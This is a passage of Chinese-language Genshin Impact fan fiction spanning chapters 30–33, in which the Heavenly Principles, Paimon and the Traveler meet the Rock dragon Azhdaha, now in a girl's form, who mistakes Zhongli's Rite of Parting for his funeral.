维尔金环视四周,只有数不清的岩石默默待在伏龙树附近,但显然,能听懂石头说话、并且亲自封印住岩元素龙王的魔神没有来。 “早知道就把摩拉克斯也给拉过来了。”维尔金叹了口气,他甚至忍不住开始猜测摩拉克斯是不是已经偷偷琢磨出未卜先知的权能。 不然他是怎么做到的,每次都能在拉他来干活之前灵活地溜走。 显然派蒙也想到也这一点,脸上充满了突然醒悟的后悔表情,甚至喃喃:“我们应该一开始就把这些文件拿出来的……现在说什么都晚了……” 维尔金和派蒙在这边扼腕叹息没有多拖一个神明下水,空这边也忍不住好奇问: “看你们的样子,岩元素龙王也是和奥赛尔一样的魔神战争的战败者吗?” “恰好相反。”维尔金正色,“摩拉克斯同若陀龙王曾是亲密无间的合作伙伴,他们签下了契约,许下了共治璃月、守护这个国家的诺言。” “那后来又是怎么了?如果说是像特瓦林和温迪那样的神明和眷属关系的话,又是为什么被钟离封印了呢?” “温迪?” “巴巴托斯行走人世间的名字。”维尔金向疑惑的派蒙解释。 派蒙恍然大悟,随后在旅行者充满疑惑的目光中贴心地解答道: “特瓦林是巴巴托斯的眷属没错,但是岩元素龙王若陀……他跟摩拉克斯之间比起是眷属和神明,更像是老骥伏枥的前朝遗老结识了新时代开疆拓土的敌对将军,二人从敌人到好友,又因为磨损的原因不得不反目,直到摩拉克斯封印了岩元素龙王,事情才算告一段落。” “总而言之,是一段非常曲折的故事。”派蒙叉腰,“所以才会觉得他是故意不来的嘛……毕竟以前是算是好朋友。” 维尔金点点头,可惜道:“……但磨损这种东西就是如此,越是钟爱、在意的东西,越是会在磨损来临之际忘得一干二净。” 失去理性与知性,徒留力量和本能。 看着如今已经被时间烙印上古龙气息的伏龙树,维尔金恍惚之间甚至有种错觉,好像距离摩拉克斯当年同他信誓旦旦的保证、以及维系者不赞同的眼神好像只是不久之前的事情一样,但转眼之间,物是人非。 锋芒毕露的魔神变得像被自己封印的老友一般稳重温和,而曾经立誓守卫挚友国度的古龙却被磨损变得暴躁易怒、最终双方兵刃相见,一个被封印至今,一个也失了从前的那份傲气和锋芒,多了些沉重和哀伤。 “原来如此——”空点点头,却得出来一个令派蒙和维尔金大跌眼镜的结论—— “怪不得钟离先生身上有种可靠但有代沟的气息,原来是类似于前朝遗老一样的人物吗?” “——完全反过来了呢。” 维尔金为被摩拉克斯假装人类后的养生表象所迷惑的旅行者贴心解释: “倒不如说,在我记忆中魔神战争时期,若陀的性格更加沉稳温和,除了对我有一点种族歧视以外,对别的魔神和人类都没有什么很大的偏见,反倒是摩拉克斯才是属于开疆拓土的凶残将军那挂的。” 空大受震撼,世界观都在重塑:“你说的摩拉克斯是那个一心一意想着退休、美滋滋操办自己送仙典仪的家伙吗?” 他还以为钟离先生跟巴巴托斯一样,是属于那种自由自在、不管正经事情的神明,原来曾经意外地能打吗? “毕竟摩拉克斯也有武神的名头,而且……人都会有辉煌的过去啦,”派蒙戳了戳一旁在研究伏龙树情况的维尔金,煞有介事地说道,“别看这个家伙现在是一副很好说话、办事不怎么靠谱的样子,很久很久以前,他也是超级凶残、连维系者都搞不定的可怕家伙哦!” “那我的运气可真好……” 空不由得感慨:“要是维尔金的性格还是派蒙所说的那样,我们一定不会成为朋友的,说不定还会在见面的第一眼就大打出手——” “咦!”派蒙连连摆手,“不要去设想那么恐怖的事情啦!” 维尔金没有说话,其实,除了时时刻刻都处在暴躁状态的维系者,就算是最热衷于斗争的神明,经过漫长又如同定点打卡上班、毫无刺激的统治以及越来越冗杂的事务和责任冲刷之下,脾气都会变得好不少。 尤其是在一个又一个熟悉的人和物随着时间变迁,或是消亡、或是沉眠之时…… “你们来得早了些,是急于见证璃月最古早最威严的那位——等等,怎么是你这家伙?!” 维尔金疑惑地将视线从伏龙树转向尖叫声的来源之处。 一个扎着包子、蓝色短发戴着眼镜的小女孩指着三人之中的维尔金,失声尖叫:“你这个恶毒的家伙又在装什么无辜,摩拉克斯怎么不在?你到底把摩拉克斯怎么了?” 维尔金指了指自己,不确定道:“你是在问我吗?” 这又是哪个熟人,他怎么没有一点印象? 蓝色少女深吸口气,仇视地看向三人,如数家珍般报出维尔金的名号—— “说的就是你,高居于高天王座上的虚假之影、尘世七执政的统治者、从天而降的制裁者、世界之外的降临者、卑鄙的僭越者、虚假之天——” 借着心中淤积的一腔怒火骂完后,小女孩喘了口粗气,等到脸上缺氧一般的红晕褪去,才瞪着一脸发生了什么事情表情的天理,才气喘吁吁地继续道: “你这个卑鄙的家伙,到璃月来又有什么阴谋!” 被骂了一通的维尔金有点茫然:身份对得上号,语气也很是熟悉,但……不管怎样,维尔金在脑内搜索了半天都没有一个熟人能够跟眼前的少女对上号。 “是你呀,若陀!” 这一连串熟悉的报菜名越听越觉得熟悉的派蒙一拍脑袋,马上就把眼前的小妹妹跟千年前唯独不爱给维尔金好脸色的若陀龙王对上号,惊讶道: “你闹出来这么大的动静,就是为了给自己捏一副小女孩的躯体吗?”—— 作者有话说:家人们可以早点睡哦!拉弥亚是一枚稳定加班的社畜,有时候更的会比较晚(凋谢) 但是包被们放心,会日更的(递花花)《 》 30-40 第31章 第 31 章 我寻思摩拉克斯也没死啊…… “时间之魔神, 你可别凭空污人清白!” 女孩双手叉腰,气势汹汹地看向派蒙,指责道:“谁不知道你们这群魔神都是唯虚假之天为马首以瞻, 你们这群家伙, 都不是什么好东西!” “……可是摩拉克斯不也是魔神吗?”不是魔神、得以从群体扫射中幸免的空弱弱问道。 “那能一样吗!”化作小女孩的岩元素龙王双手叉腰, 瞪了这个不知道从何而来、又跟天理厮混在一起的降临者。随后又像是想起来什么, 警惕地后退半步, 眼神不善: “等等——” 意识到事情貌似没有表面上这么简单的若陀眉头紧蹙,过了一会,元素龙王咬牙切齿、一副看破了天理以及麾下干将险恶用心的样子,恶狠狠道: “真是个大阵仗啊,从世界之外而来的降临者、时间之魔神……以及背着所有人从沉睡中苏醒的天理……” 镜片反射的阳光遮住龙王化身的瞳孔, 哪怕目前只能蜗居于这副孱弱幼小的躯壳中,睿智的龙王依旧能够轻易揪出其中的端倪—— “天空岛是妄想重启魔神战争吗?” 哪怕如派蒙也不免一时失语:“……有没有一种可能,你正好猜反了呢?” 哪怕已经习惯魔神们和龙王成天想些有的没的, 维尔金也没想到, 若陀被封印在此地千年,对天空岛的刻板印象不仅没有减弱,反而在千间大大增强, 甚至隐隐往极端方向发展。 要知道同样是被封印千年, 奥赛尔想破五颗脑袋, 都想不维尔金要重启魔神战争的结论。或许这就是有老婆陪蹲监狱和孤家寡人被封印在地底的区别了——怪不得摩拉克斯要给若陀选个风水宝地。 维尔金一边胡思乱想, 一边干脆顺着多疑的古龙的话头继续往下说。 “我可以不再在地上重燃战火, ”看向几乎跟普通人类小女孩形态无异的若陀龙王,维尔金无视了若陀几乎要溢出来的杀气,半蹲平视着那双隐藏于厚厚镜片的棕色眼睛,正色道: “但前提是, 龙王们最好不要动一些无谓的小心思……若陀,你知道让我失去耐心的后果。” 反正不管怎么解释,龙王们都是一副“不听不听王八念经”的死犟样子,维尔金也懒得多费口舌去劝服,只是用最为平淡的语气,说出了在若陀耳里暗藏无边杀伐的警告。 维尔金站起身,满意地看着龙王想动手但是又打不过的气急败坏的表情,向身后的派蒙和空比了一个搞定的手势。 “好了,没什么事的话你也快点回伏龙树睡觉吧,这次就不追究你偷偷从封印的缝隙溜出来了,就当放个风,下次不准了。” 维尔金从派蒙手中接过那张标红的羊皮卷,在空中随手画了一个看上去极为复杂的花纹之后,写满记录的羊皮卷蜷缩成为一个金色的花苞,维尔金环视一周,最终在伏龙树根系旁找到了一个合适的位置。 维尔金挥了挥手,金色的花苞好巧不巧地埋在了石镇子旁边,一团凝聚了地脉力量的花朵瞬间成型,金色的花瓣极尽所能张开,在维尔金力量的作用下,安抚着附近已经把警报要吹爆炸的地脉。 “好了,收工。” 维尔金甩了甩胳膊,揉了揉因为一时间没想起操作流程的脑袋瓜,在心底里悄悄庆幸—— 还好还好,虽然不记得安抚地脉的具体流程是什么样子的了,但既然伏龙树没有变成藏金之花,应该就没有什么大问题。 为自己滥竽充数居然能够浑水摸鱼过去的业务能力庆幸之余,维尔金擦了擦额头上因为心虚憋出来的虚汗。 但就是这一连串的动作,使得维尔金看上去像是因为安抚被元素龙王惊动的地脉们而废了不少力气。 天理力量似乎大不如以前。 ——只是一瞬间,战斗经验极其丰富的若陀立刻分析出这一点。 镜片模糊了龙王毫不掩饰的打量,维尔金没有理会若陀的探查,但在后者眼中 ,一切无言自明,天理实力已经大不如前。 龙类无机质的冰冷竖瞳出现在人类的眼眶。难得的好机会,一个实力尚不足全盛时期十之一二的时间之魔神,一个看上去好像只是来旅游的降临者,以及一个会因为安抚地脉就大动真气天理。 连安抚地脉的躁动都变得如此吃力……不管是示弱,还是真的—— 岩元素龙王毫无征兆地发动岩元素力量,巨大的伏龙树隐隐有些晃动,整个峡谷都因为若陀地底下的动静震动起来。 “地震了吗?”空提起剑,后撤半步,警惕地面向沉默的古龙。 维尔金瞥了眼已经半龙类化的人类女孩,棕色的圆形瞳孔被龙类冷血的竖瞳所取代,身上也附着黑金色的鳞片,露出的大半片手臂也已经被粗壮的宝蓝色矿物质所覆盖,如土块般龟裂的护甲附着在身,眨眼间,人类的身躯已经完成了大部分龙化。古龙决定赌一把——哪怕力量大部分被摩拉克斯封印于地底之下,他若陀也愿意试一试这个绝无仅有的机会。 “啧,别瞎搞啊。”维尔金看着古龙这副模样,显得格外头疼。 不是为古龙王打定主意的殊死一搏而胆怯,而是维尔金实在是不想才处理完一项事务,又给自己本就繁重的公务再添砖加瓦。 龙王不为所动,继续积蓄力量—— 派蒙深吸口气,灵机一动,在维尔金即将动手之前,保住了这棵岌岌可危的伏龙树以及若陀龙王本人—— “你们就别打啦!若陀你冷静点,摩拉克斯现在都不是尘世七执政了,维尔金生气起来没人能够保住你啦!” 岩元素力量停滞了一瞬,随即大怒:“时间之魔神!难道以为你是天空岛的扈从,就能随意编排尘世七执政吗?天理可还站在这里呢!’ 莫名被提到的维尔金两手一摊,面对愤怒的古元素龙王,他极其坦然道: “若陀龙王,派蒙有没说谎,摩拉克斯的确不再是尘世七执政了。” 这个先斩后奏的家伙,已经成为可恶的清闲自在半退休魔神了! 天理亲口承认时间之魔神所言非虚让若陀龙王一时之间方寸大乱,他甚至顾不得自己刚刚还想要跟维尔金拼死一搏的想法,失声道: “摩拉克斯那么强,璃月人又这么爱戴他们的神明——他怎么会舍得离开他的子民呢?!!”充血的眸子祈求天空岛的主人出言反驳,但维尔金只是偏了偏头,像是无法理解深埋底下千年的古龙那诡谲的逻辑一样,理所当然地反问道: “这又有什么舍不得的?时候到了,自然也就干不动了。” 虽然尘世七执政得以被豁免加诸于其身的磨损,但看摩拉克斯那副开摆成性的样子,要不是他的确非常喜欢人类、又的的确确爱着这片国度的话,维尔金估摸着,他估计早五百年就想退休了。 “那璃月以后的执政官呢?”若陀不死心,继续追问。 “谁知道呢。” 现在的人类又不像以前,他们自己也能过得好好的。 维尔金发誓,他现在都不敢细想那个比巴巴托斯更会摸鱼的家伙往后的日子究竟会过得有多么快乐,反正天理本人的退休遥遥无期、只能酸溜溜眼馋摩拉克斯往后美好的生活—— 还好他眼疾手快,没有直接同意摩拉克斯的退休申请。 一想起退休,维尔金更是说话没点好气,摆了摆手,随便敷衍若陀道: “或许是当了两千年的七执政和岩神之后,发现这日子还没当年魔神战争时期那会过得自在,就抛下一切,连摩拉克斯这个名字也一同抛弃了吧。” 但这句话,在若陀龙王耳中,简直犹如当头棒喝,一下子就让这位方才还气势汹汹的龙王一下子失了凶悍和怒气,像是不敢相信自己的耳朵一样,若陀喃喃: “摩拉克斯,怎么会……摩拉克斯……” 随后似乎是下定决心,在三人震惊的目光下,承载着岩元素龙王蓄力一击,把自己坟头上那棵伏龙树里封印的缝隙彻底堵上。 伏龙树剧烈地抖动几下。 树下,若陀自己费劲心思想办法弄人挖了老半天的封印缝隙,也被其本人彻底堵得严严实实,不再有被人挖出的可能。 做完一切之后,若陀目前的仅剩的力量甚至只能支撑他凭借着这副人类小女孩的模样留在世间,甚至连这样的时间也不多了。 岩元素的古龙看向维尔金,在对方充满了迷惑和不解的眼神中,若陀嘴唇微抿,半晌,才小声开口道: “那个……尊敬的天理,如你所见,我不打算复活了……” 维尔金挑眉,没有回答。 若陀识时务的转折使维尔金心情大好。不过,能让这位被封印之前已经被磨损得不像样子的古龙王亲手毁掉自己现世的希望,态度转变得如此之快,想来也只会是因为摩拉克斯。 “天空岛的主人啊,求你原谅我先前的不敬。我以自己永不再尝试复苏的承诺作为交换,希望你看在我也曾为摩拉克斯平定璃月诸位魔神的份上,满足一条无力再度参与地上诸国、以及天空之外的纷争的老龙,临死前的最后心愿——” 半龙化的女孩深吸口气,眼眶微红。 此时,站在维尔金面前的,不像是一条比璃月更古老的巨龙,更像是一个单纯的、失去最好朋友的普通小孩,正忐忑地看向能够决定去留的天空岛之主。 只是这条古老的龙提出的请求险些惊掉维尔金的下巴—— “我只求在我再度陷入永无天日的地底之前,能够去参加我若陀此生唯一挚友的葬礼。”—— 作者有话说:久等了家人们 接下来就是独属于钟离先生的美妙修罗场 论为什么明明是两个人的故事也能变成三个人的修罗场 不愧是神奇的提瓦特大陆啊 第32章 第 32 章 璃月人有自己的替身文学…… “是摩拉克斯的送仙典仪, 不是摩拉克斯的葬礼。” 维尔金纠正起岩元素龙王略显极端的措辞。 但他忽略了一件非常重要的事情——生活在璃月许久的若陀可太懂得送仙典仪中的送仙是什么意思了。 深知璃月人措辞隐晦程度之深、又非常清楚天理对人世间常识的认知程度几乎为零的若陀,在听到维尔金的结论之后,反倒更加确信—— 摩拉克斯的确是死了。 “我已经完全理解了。” 岩元素的龙王点点头, 语气极为冷静: “所以……唯独这次, 我求求你, 只要能让我现在这副人类女孩的躯体离开伏龙树、去参加摩拉克斯的葬礼, 我愿意立下契约, 若是我若陀龙王背信弃义、在未来因磨损自我冲出封印,我必定在见到阳光的那一瞬间,灵魂俱灭,不入轮回!” “若陀,你先冷静一下, 我们坐下来慢慢说。” 维尔金头疼地看着已经擅自替龙王和摩拉克斯判了死刑、甚至可能连棺材都想好要怎么埋的岩元素龙王,一时语塞,甚至都不知道该从哪里说起才好。 但维尔金非常不果断的表现却让若陀心里警铃大作——这位天空岛的主人何时如此扭扭捏捏过, 若陀深吸口气, 语气再度缓和了些,甚至连半龙化的人类躯壳,都被这位见友人葬礼心切的岩龙王给按了回去。 “天理, 我若陀从未求过别人什么, 哪怕是当年摩拉克斯为了这些蝼蚁将我封印, 我也从未想过拿我与他当初的情谊做文章……” “我知道, 但是我们有话先好好说。” 维尔金扶额, 他不用听就知道,刚刚他说的一切,这条岩龙一个字都没听进去,只能苦口婆心地为这位联想能力拉满的岩元素龙王继续解释道: “摩拉克斯没死, 他现在一天天的,生活过得有滋有味,连我都要羡慕。那家伙甚至都想把神之心还给我,直接退休。而且若陀,我倒不是别有用心龙王也要学会爱自己,与其替担心那个命好的摩拉克斯死掉,倒不如担心担心你现在的状态——既然已经陷入沉睡,为何要再度苏醒、在磨损得作用下去伤害你曾喜爱的一切呢?” 维尔金自认为已经说得很明白了。 若陀的心脏再一次因为维尔金的话而悬起—— 这是若陀头一次如此痛恨自己的形态是一个泪腺发达的人类小女孩,他甚至感觉视野都变模糊了不少,天空岛之主所说的每一句话,虽然不是每一个字都听得太清楚,但那些字眼,皆如擂鼓一般,敲在并不怎么坚硬的心脏上—— 错不了,一定是摩拉克斯因为某件事情触怒了天理,从而被剥夺了神位,而一旦失去七执政之职,往昔那些被豁免的磨损将如跗骨之蛆,硬生生蚕食掉那美丽又强大的魔神。 甚至到这个时候,这个小心眼的僭主还在拿磨损来威胁他不许去见摩拉克斯。 若陀恨得牙痒痒,出于血脉之中的本能,龙王对天理麾下的魔神有几近先天本能的厌恶之感,他原本只想安安静静地沉眠于地脉,等待世界毁灭之际再度苏醒,为僭越者及其扈从带来属于龙之大权的力量和积攒的愤怒。 是摩拉克斯敲开了他的家门,为他带来了高悬于虚假之天上、那道其实并不会刺眼的,名为太阳的光亮。 虚假之天带来了魔神与人类共处的谎言,以及豁免磨损之神位的许诺,他们南征北战,共同打下来这片肥沃的土地。 他知道天理及其维系者不满于摩拉克斯将古元素龙王视作友人—— 但在摩拉克斯倾尽所有的担保下,天理妥协了。 毕竟谁不知道,摩拉克斯为神兢兢业业、做事认真靠谱、待人友善和睦,自身也实力强大。 又有谁不知道,天理常年一睡不醒,不管大事小事,有事基本都得找维系者。 若陀忿恨地看向还有闲工夫拖着一个降临者和一个实力大减的时间之魔神一起处理公务的维尔金。 有些人就是闲得发慌,不像摩拉克斯,一天到晚有数不清的政务要处理、还有数不清没长眼的家伙居然胆敢向他发起挑战。 若陀更加确信,一定是这个黑心天理本来就看他若陀不爽,又看不惯摩拉克斯受人敬仰爱戴,害怕地上之人会颠覆天空岛的权威,所以才痛下杀手。 现在的他无能为力。他只能最后去摩拉克斯的葬礼上赌一把—— 用若陀龙王自身的力量去刺激残留在摩拉克斯遗体上的残魂,但凡摩拉克斯的遗言是要天理这老贼的命,凭着当年的那份信任、那份情谊,他若陀都要搏上一搏! “你不答应我的话——”若陀左顾右盼,终于找到了一个适合的威胁对象,此时的龙王像是一个真正的无理取闹的人类小孩一样,紧紧抓住树根旁盛开的地脉之花,威胁道: “我现在就把它给拔了,让你重新补上地脉记录!” 说完,似乎是害怕威胁不到维尔金,还补充一句道: “你最好想清楚,我这一拔,你和维系者至少要手写补上这千年来的上千条记录——” 维尔金脸色大变,派蒙这边还毫无察觉,双手叉腰,得意洋洋道: “哼哼哼——你想错了,若陀龙王,维尔金是不会因为这区区七百八十三条的手写地脉异常情况记录而屈服的!” “我答应你。” 本来还无甚大动作的维尔金一听到派蒙说补全记录需要手写后火速妥协,生怕岩元素龙王信了时间之魔神的鬼邪,让天理大人本就多灾多难的补齐公务之旅雪上加霜。 “维尔金!!” “派蒙,咱们先别放狠话。”热心人士空贴心地提醒为维尔金突然倒戈而不满的派蒙,“到时候真要手写补记录的话,维尔金一定也会拉我们两个下水的!” 派蒙连连摆手,甚至将维系者拿来当挡箭牌,一边继续投反对票:“维系者可是说过,这些公文都要你一个人干完的!更何况,要是若陀在人类聚集的地方想要动些手脚……” “时间之魔神——” 若陀龙王将那对冰冷的眸子投向一直在跟他唱反调、害得他迟迟得不到天理首肯的时间之魔神,隐隐威胁: “我绝不会违反我的承诺,但也不要小看一位元素龙王生念尽失后,为了破坏这片无辜的土地而发出的最后一击!” “若陀,没必要挑战我的底线,也没必要用胁迫来解决一切——你不会想知道我处理对这世间蕴含威胁之人的手段的。” 维尔金话音放低,隐隐有了威胁之意。他无所谓若陀对自己的态度,但是这不意味着,若陀可以仗着他维尔金一退再退,得寸进尺,进而威胁起派蒙和空来。 “不就是想去送仙典仪看摩拉克斯吗?我同意了。” 在若陀陡然转喜的目光中,维尔金补上了自己的条件。 “但是看完摩拉克斯这个一天到晚净给我找事的家伙之后,你必须这辈子都给我老老实实待在伏龙树底下,不许再对附近的人类动手动脚,没事最好也别给我翻身,别给我添加工作量——” 维尔金的威胁和狠话若陀一句也没有听进去。 在短暂地的喜悦之后,名为若陀龙王的存在再度陷入了哀伤与思念。 已经褪去龙类明显特征的女孩攥紧手心,丝毫不顾再度出现的、属于龙类尖锐的齿爪将人类柔嫩的肌肤抓破,在他心中,现在一切的皮肉之苦都比不上得知友人逝去的噩耗。 他那智勇无双爱民如子兢兢业业的挚友,此时恐怕,已经陷入虚无的混沌了吧…… 摩拉克斯…… 若陀在心底默念好友的真名。 你若在天有灵,在生命画上句号的最后一刻……是否还在想着千年前他们征战杀伐、携手同进的那段峥嵘岁月呢…… 千里之外的璃月港,钟离端着茶水的手顿了顿。 不知为何,一种没有由来的怪异之感莫名从心中蔓延开来。短暂的停滞过后,钟离继续将杯中之茶送入口中。 而在他旁边,一位带着黑框眼镜的男人却是发现了钟离短暂的异常,关切问道: “钟离先生,可是身体突然有所不适?不如我们换处地方先歇息歇息?” “昆兄无须介怀,只是突然想起一些有趣的事情罢了。” “哦?” 名为昆钧的男人挑眉,双手环胸,似是在好奇能让钟离这样严肃正经、学时渊博的先生都能觉得有趣的事情究竟是什么。 “我也想听听究竟是什么有趣的事情能让先生在听田铁嘴说书时还能走神,不知道钟离先生能否分享一番。” 钟离顿了顿,看着眼前不知为何相处起来觉得异常熟悉的新友人,纠结了半天,最终还是决定顺从自己的本心,缓缓开口道: “我似乎感觉到我的一位沉睡多年、已经有些脱离时代的老友,睡醒后好像……” “搞错了自己的性别和年龄?” 昆钧:“啊?” 看着昆钧因为自己说的话而一瞬间的破功和呆愣,钟离露出一种格外熟悉又怀念的表情,目光也柔和了许多,再度捧起茶杯时,昆钧甚至觉得,这位因缘际会的钟离先生,似乎在透过自己,看向亘古之前的某个存在一样…… “抱歉,不知为何说了些逝去老友的陈年旧事,还请昆兄当个笑话听听就好,莫要介怀。” 怎么会这样…… 明明是第一天认识……为什么会有这种古怪的情绪? 不知为何,一种莫名的酸楚和嫉妒包裹着他的心脏,内心深处沉寂的灵魂像是在因为钟离对那段过去避而不谈而感到愤怒。 明明他们才刚刚相识,理应不该如此逾矩。 昆钧的心脏像是被钟离拿起,又随意放下来的茶杯一样,从内向外的、莫名的抽痛席卷他的灵魂。 嫉妒绝非君子所为。 但昆钧必须承认……自己有点嫉妒那个钟离口中的老友了—— 作者有话说:周五周五!是美好的周五要来了! 第33章 第 33 章(捉虫) 风评岌岌可危的…… 钟离放下茶杯, 身旁的昆均让他不由得再次感慨,提瓦特之大,甚是奇妙。 阅历丰富如钟离也从未想过, 只是闲来无事前来听田铁嘴说书, 居然也会有如此意外的收获。 人逢喜事精神倍爽, 好事也不请自来。 虽然维尔金当场拒绝了钟离交还神之心、自己给自己退休的操作, 但至少目前, 在天理本人的默许之下,钟离已经相当自觉地进入完全退休状态,过上了在璃月港喝茶听书逗鸟聊天的美好生活。 现在更是双喜临门。 钟离看向刚刚不知道因为想了些什么而明显走神的昆钧,由衷地感谢命运的丝线将他们重新缠在一起。 虽然友人看上去对自己的身份一无所知,但已有友人相陪, 有说书解乏,再配上这一壶好茶——他还有什么别的好强求呢? 况且,这对于钟离本人, 又何尝不也是一种难能可贵的体验。 钟离不觉得深埋于伏龙树之底的若陀龙王的灵魂溜出来会是一个巧合。 想来是尊贵的天空岛之主可怜他两千年来的兢兢业业, 故意留了一手,让若陀一部分灵魂能够在这个大喜的日子和他畅谈作饮。 欲买桂花同载酒,虽然恐怕往后也再难如今日同故人畅饮至此, 但是能同多年未见的挚友痛饮洽谈, 哪怕对方并没有关于他们的记忆, 他已经知足了。 “昆兄, 时间也差不多了。” 昆均点点头:“也是, 是时候去为帝君送行了。” 好多人。 这是若陀龙王,或者说这是化名为阿鸠的伪装成人类小女孩的龙王对摩拉克斯的葬礼的第一印象。 从布满岩石的荒野一步一步踏入人类的聚居地,从璃月港的地砖再一步一步踏上玉京台,阿鸠觉得自己头脑越来越清醒, 甚至力量都不知为何恢复了些。 属于龙的心脏在提醒他,这座繁华的港口有一位龙之君主所迫切想要见到的东西。 剧烈跳动的心脏冲淡了挚友消亡的伤痛,璃月被深深烙印了属于岩之神的痕迹。阿鸠一来到璃月,越是向玉京台进发,越是有种半身愈来愈接近的共鸣感。像是有一片属于自己的灵魂,在璃月等着他一样。 哪怕典仪本身所蕴含的意义十分悲伤,但岩龙还是忍不住在心底悄悄翘起肥嘟嘟的尾巴,嘴角抑制不住地勾起,甚至不自觉昂起头颅:这就是他们璃月双岩龙的羁绊!还有哪个璃月七执政有他们这样强大无比的双岩龙羁绊! 不过也有美中不足。 比如……那些乌糟糟的,议论摩拉克斯之死的家伙。 “岩王爷他老人家……哎,这送仙典仪一办,那些小道消息看来就是真的了……” “可是传闻里的那几位都不像是……” “依我看,还得是愚人众!” 那个工人说话声音一时压不住又大了些,吓得同伴们赶紧让他小声点: “万一被愚人众盯上了怎么办?现在我们可没帝君了……” 岩龙悄悄把一切尽收耳底,然后又果断地用双手堵住耳朵,看上去像是小孩子在生闷气一样。 他讨厌这群人类,一遍又一遍,像麻雀 一样叽叽喳喳地议论着摩拉克斯的死亡,却又不想他一样,拥有能够向着可疑的凶手挥拳的力量。 虽然他也总把参加摩拉克斯葬礼这句话挂在嘴边,但是真要让他从别人口中听到这样直白的语言,阿鸠只会觉得不耐,然后捂住耳朵,像是在逃避这个明明已经被他自己亲口承认的“事实”。 璃月普通人的纠结也印刻在这位曾与璃月共同进退的古龙身上。 哪怕不愿意去听有关摩拉克斯死去的信息,这位龙王还是在心底悄悄记下了一笔账…… 不过愚人众?听起来不像是璃月的组织…… “愚人众是玛尔巴斯的人,其实我觉得他们人还不错。”维尔金看出龙王又在脑子里胡思乱想,干脆直接补充,顺便吐槽道:“顺便一提,这场送仙典仪的全部消费由愚人众买单——硬要说的话,感觉里面除了那个热情过头的至冬小伙以外,好像没几个至冬人了?” 虽然说寒冷的国家出现一只泡泡橘口味的至冬大列巴好像和这个国家的地理位置看上去调性不怎么相符,但比起那个不管是哪个角度看上去就很蒙德的女士,还是那天替至冬小伙赔礼道歉的紫色斗笠人偶,达达利亚至少看上去像是土生土长的至冬人。 阿鸠点点头,默默把愚人众从怀疑名单上划掉:那看来那些家伙应该不是害死摩拉克斯的罪魁祸首了。 顺便不忘鄙夷着还在讨论愚人众的围观群众。 果然,人类就是人类,看事情就是这么片面…… 可惜了,要是能够抓住一个摩拉克斯以前的手下就好了…… “太好了,空、维尔金先生——” 对四人而言都格外熟悉的少年声音从身后传来。 四人同时停住了脚步,阿鸠的眼睛都亮了好几个度,几乎是瞬间冲出去,抓住了还一脸茫然的青色魈鸟,顾不得还有人类在周围,迫不及待道: “快带我去见摩拉克斯的尸体!” “唔……” 岩元素龙王的一个蓄力头锥差点让本就业障缠身的魈当场旧疾复发,还没回过神来,又见到这个不知道从哪里来的小女孩竟然说出如此大不敬之词,刚想要出言纠正,就意识到这个小女孩身上,似乎有着和今天见到的那个一样的……被帝君封入伏龙树之下、若陀龙王的气息! 魈:! 魈一脸不敢置信,先不说若陀龙王是怎么知道帝君扔下先祖法蜕、直接退位的消息…… 而且作为古元素龙王这样大刺刺地在人类众多的地方直接出现,真的不会有什么意外吗…… 但看了看疑似若陀龙王的小女孩身后的天理、时间之魔神以及旅行者三人,魈也彻底放下心来。 想来有他们在,复苏的若陀龙王也不是大问题。 只是…… 如果这个是若陀龙王的话…… 魈看向不远处、正坐在送仙典仪,瞬间头疼起来—— 那帝君身边的那个男人又是谁? 顺着魈的视线,阿鸠转过头,瞬间睁大了眼睛,就连抓住夜叉的手劲也大了些—— “那个是……摩拉克斯?”这是完全忽略掉钟离一旁坐着昆均的若陀 维尔金松了口气,由衷感慨道:“谢天谢地,虽然有点聋,但好在只瞎了一半。” 下次他可得委婉暗示一下摩拉克斯——他的这位挚友可不像是视力不好的样子,与其雕刻眼睛,维尔金发自内心地建议摩拉克斯给若陀雕副新耳朵。 在阿鸠和天理视线的双重施压下,魈硬着头皮把这四尊大佛引狼入室。 “钟离先生,不知您觉得这场送仙典仪办得如何?”魈在心底做了充足的自我建设后,对着不知道为何居然跟看起来什么都不记得的若陀龙王厮混在一起的帝君,试探性问道: “可是有觉得欠妥之处?” 钟离不解:“我觉得很好,不知护法夜叉亲临,是所为何事?” 很快他就知道原因了。 同样熟悉的气息从魈的身后传来,用着他无比熟稔的语气和稚嫩的童音,知道近在眼前,阿鸠才发现了昆均的存在,几乎是尖叫道: “摩……钟离!你居然背着我有别的人了!!” 万幸万幸,若陀龙王虽然总是选择性不听维尔金的话,但至少把“别当着璃月人的面直呼摩拉克斯起其名,还有人家现在叫做钟离”这句话给听进去了。 但坏处是,一个小女孩对着往生堂鼎鼎有名的客卿、指着他身边的那个男人,说客卿在外边有人了…… 这可吸引了不少人的目光。 钟离瞬间睁大双眼,一脸不可置信地看着面色突然一沉的昆钧。 这…… 难道是天理看不过他大操大办退休典仪,所以想了这么个法子来为难他吗? 眼见暗示失败的魈默默挪到旁边,为身后的阿鸠,或者是说若陀龙王本人贴心地留下同敬爱的帝君交流的余地。 “……那我先暂且告退……” “护法夜叉还请留步——” 这下是真的非常非常熟悉的声音了,魈僵硬地顿住脚步,昆钧微笑着阻绝了魈最后一丝撤离现场的机会,温柔成熟的面庞隐隐透着一丝丝黑气: “这是哪家的大人,居然如此放心这个年纪的小孩在送仙典仪乱跑,不知夜叉大人是否能够帮我们把这孩子交给千岩军——” 昆钧的镜片反射出白色的光芒,一副受了委屈,但就是不说的样子: “毕竟这个年纪的孩子,总是异想天开说些摸不着头脑的话……” “你这个不要脸的冒牌货!” 阿鸠气得几近跳脚,顾不上明显是自己这副躯壳更加幼小的情况,大声说道: “明明是我先来的,不管是生死相随,还是约定未来,明明都是我先来的!” 钟离显然感觉围观群众的视线变得有些灼热。 阿鸠还在不管不顾地攻击这个模仿他千年前化身的冒牌货,眼睛都有些发红。 早知道摩拉克斯这个混蛋被卸了执政之位后视力烂成这副随便来个冒牌货都能骗走的样子,他就不应该捏出这副人类小女孩的躯体。 可恶的冒牌货! “问题不大,自己总不能打死自己吧?而且,谁家好领导会管退休下属私事,一定会被说闲话的!” 越想越觉得自己不动手才是最好选择的维尔金轻咳两声,变戏法一样端出一大份腌笃鲜和好几个满满当当、放满了雕花甜品和精制摆盘的热菜。 维尔金想得很周到,如果自己只是干坐着看摩拉克斯的笑话,一定会显得自己很没有礼貌;但如果是因为忙于吃饭无法离开座位的话,摩拉克斯一定不会怪他在旁边看戏的。 所以,维尔金刚刚趁着周边所有人的注意都放在隔壁那看上去是两男一小女孩的惊世逆天背德八卦上演的时候,趁乱把菜都搜刮过来了。 不愧是他,就是如此地善解人意,懂得给下属留有隐私空间。 